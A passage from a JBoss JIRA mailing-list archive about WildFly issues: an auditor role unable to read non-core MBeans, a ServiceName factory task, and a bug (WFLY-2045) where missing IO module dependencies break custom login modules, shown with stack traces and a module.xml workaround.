> then I expect all roles that can read sensitive data (administrator, auditor, superuser) to be able to read non-core MBeans too. This is currently broken, as only administrator and superuser can read non-core MBeans, auditor cannot. I have a test case for this that I will submit later, but the important part is:
> {code}
> boolean successExpected = ...; // 'true' for auditor
> MBeanServerConnection connection = ...;
> ObjectName domain = new ObjectName("java.lang:type=OperatingSystem");
> try {
>     Object attribute = connection.getAttribute(domain, "Name");
>     assertTrue("Failure was expected", successExpected);
>     assertEquals(System.getProperty("os.name"), attribute.toString());
> } catch (IOException e) {
>     if (e.getCause() instanceof RuntimeMBeanException && e.getCause().getMessage().contains("11360")) {
>         assertFalse("Success was expected but failure happened: " + e, successExpected);
>     } else {
>         throw e;
>     }
> }
> {code}
> Please note that I'm speaking about _reading_ sensitive data, which, if I understand correctly, auditor _can_ do.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 12:35:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 12:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-567) Where security services in
 domain management have a dedicated interface provide a ServiceName factory.
In-Reply-To: <JIRA.12480008.1354098108000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12480008.1354098108000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12480008.1354098108000.18701.1378830903576@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-567?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-567:
----------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 9.0.0.CR1)

    
> Where security services in domain management have a dedicated interface provide a ServiceName factory.
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-567
>                 URL: https://issues.jboss.org/browse/WFLY-567
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> Update each of the interfaces with a factory for generating the service name.
> {code}
>     public static class ServiceNameFactory {
>         public ServiceName createServiceName(final String realmName) {
>             return null;
>         }
>     }
> {code}
> Strictly speaking these are not currently expected to be used outside the AS codebase but should they be used outside of the domain-management module this will be the recommended way to generate the service names.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 13:16:05 2013
From: jira-events at lists.jboss.org (Steven Rose (JIRA))
Date: Tue, 10 Sep 2013 13:16:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2045) Missing Dependencies for IO
	Module
In-Reply-To: <JIRA.12500447.1378833349716@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500447.1378833349716@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500447.1378833349716.18816.1378833365656@jira02.app.mwc.hst.phx2.redhat.com>

Steven Rose created WFLY-2045:
---------------------------------

             Summary: Missing Dependencies for  IO Module
                 Key: WFLY-2045
                 URL: https://issues.jboss.org/browse/WFLY-2045
             Project: WildFly
          Issue Type: Bug
          Components: Class Loading
    Affects Versions: 8.0.0.Alpha4
            Reporter: Steven Rose
            Assignee: David Lloyd
            Priority: Minor


I  Get the following error when I try to Authenticate against a Cutom Login-Module:
1:
12:40:09,615 DEBUG [org.jboss.security] (Remoting "pwtest" task-2) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.as.security.remoting.RemotingLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @487b34b4 (finder: local module finder @10c13a99 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
        at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
        at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
        at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
        at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
        at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
        at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
        at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
        at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
        at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
        at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
        at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
        at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385)
        at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349)
        at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336)
        at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
        at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
        at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
        at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
        at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
        at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
        at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
        at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
        at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
        at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
        at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
        at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]


AND 

12:49:38,663 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000244: Begin abort method
12:49:38,663 DEBUG [org.jboss.security] (Remoting "pwtest" task-1) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.security.auth.spi.DatabaseServerLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @5a0deddc (finder: local module finder @487b34b4 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
	at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
	at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
	at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
	at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
	at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
	at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
	at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
	at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
	at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
	at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]

12:49:38,684 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000201: End isValid, result = false
12:49:38,687 TRACE [org.jboss.security.audit] (Remoting "pwtest" task-1) [Success]Source=org.jboss.as.security.service.SimpleSecurityManager;Action=authentication;principal=ADMINISTRATOR;
12:49:43,223 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000200: Begin isValid, principal: ADMINISTRATOR, cache entry: null
12:49:43,224 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000209: defaultLogin, principal: ADMINISTRATOR
12:49:43,225 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000221: Begin getAppConfigurationEntry(pw-security-domain), size: 5
12:49:43,226 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000224: End getAppConfigurationEntry(pw-security-domain), AuthInfo: AppConfigurationEntry[]:
[0]
LoginModule Class: org.jboss.as.security.remoting.RemotingLoginModule
ControlFlag: LoginModuleControlFlag: optional
Options:
name=password-stacking, value=useFirstPass
[1]
LoginModule Class: org.jboss.security.auth.spi.DatabaseServerLoginModule


Was Able to work around this issue by adding 

    <module name="org.jboss.as.security"/>
    <module name="org.picketbox"/>

to wildfly\modules\system\layers\base\org\wildfly\extension\io\main\module.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 13:20:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 10 Sep 2013 13:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2045) Missing Dependencies for IO
	Module
In-Reply-To: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500447.1378833349000.18826.1378833603613@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2045?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-2045:
------------------------------

    Component/s: Security
                     (was: Class Loading)

    
> Missing Dependencies for  IO Module
> -----------------------------------
>
>                 Key: WFLY-2045
>                 URL: https://issues.jboss.org/browse/WFLY-2045
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: David Lloyd
>            Priority: Minor
>
> I  Get the following error when I try to Authenticate against a Cutom Login-Module:
> 1:
> 12:40:09,615 DEBUG [org.jboss.security] (Remoting "pwtest" task-2) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.as.security.remoting.RemotingLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @487b34b4 (finder: local module finder @10c13a99 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
>         at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
>         at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336)
>         at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
>         at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
>         at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
>         at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
>         at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
>         at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
>         at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
>         at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
>         at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> AND 
> 12:49:38,663 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000244: Begin abort method
> 12:49:38,663 DEBUG [org.jboss.security] (Remoting "pwtest" task-1) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.security.auth.spi.DatabaseServerLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @5a0deddc (finder: local module finder @487b34b4 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
> 	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
> 	at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
> 	at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
> 	at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
> 	at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
> 	at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> 12:49:38,684 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000201: End isValid, result = false
> 12:49:38,687 TRACE [org.jboss.security.audit] (Remoting "pwtest" task-1) [Success]Source=org.jboss.as.security.service.SimpleSecurityManager;Action=authentication;principal=ADMINISTRATOR;
> 12:49:43,223 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000200: Begin isValid, principal: ADMINISTRATOR, cache entry: null
> 12:49:43,224 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000209: defaultLogin, principal: ADMINISTRATOR
> 12:49:43,225 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000221: Begin getAppConfigurationEntry(pw-security-domain), size: 5
> 12:49:43,226 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000224: End getAppConfigurationEntry(pw-security-domain), AuthInfo: AppConfigurationEntry[]:
> [0]
> LoginModule Class: org.jboss.as.security.remoting.RemotingLoginModule
> ControlFlag: LoginModuleControlFlag: optional
> Options:
> name=password-stacking, value=useFirstPass
> [1]
> LoginModule Class: org.jboss.security.auth.spi.DatabaseServerLoginModule
> Was Able to work around this issue by adding 
>     <module name="org.jboss.as.security"/>
>     <module name="org.picketbox"/>
> to wildfly\modules\system\layers\base\org\wildfly\extension\io\main\module.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 13:20:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 10 Sep 2013 13:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2045) Missing Dependencies for IO
	Module
In-Reply-To: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500447.1378833349000.18837.1378833604220@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2045?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-2045:
------------------------------

    Assignee: Darran Lofthouse  (was: David Lloyd)

    
> Missing Dependencies for  IO Module
> -----------------------------------
>
>                 Key: WFLY-2045
>                 URL: https://issues.jboss.org/browse/WFLY-2045
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: Darran Lofthouse
>            Priority: Minor
>
> I  Get the following error when I try to Authenticate against a Cutom Login-Module:
> 1:
> 12:40:09,615 DEBUG [org.jboss.security] (Remoting "pwtest" task-2) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.as.security.remoting.RemotingLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @487b34b4 (finder: local module finder @10c13a99 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
>         at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
>         at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336)
>         at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
>         at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
>         at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
>         at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
>         at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
>         at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
>         at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
>         at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
>         at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> AND 
> 12:49:38,663 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000244: Begin abort method
> 12:49:38,663 DEBUG [org.jboss.security] (Remoting "pwtest" task-1) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.security.auth.spi.DatabaseServerLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @5a0deddc (finder: local module finder @487b34b4 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
> 	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
> 	at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
> 	at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
> 	at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
> 	at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
> 	at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
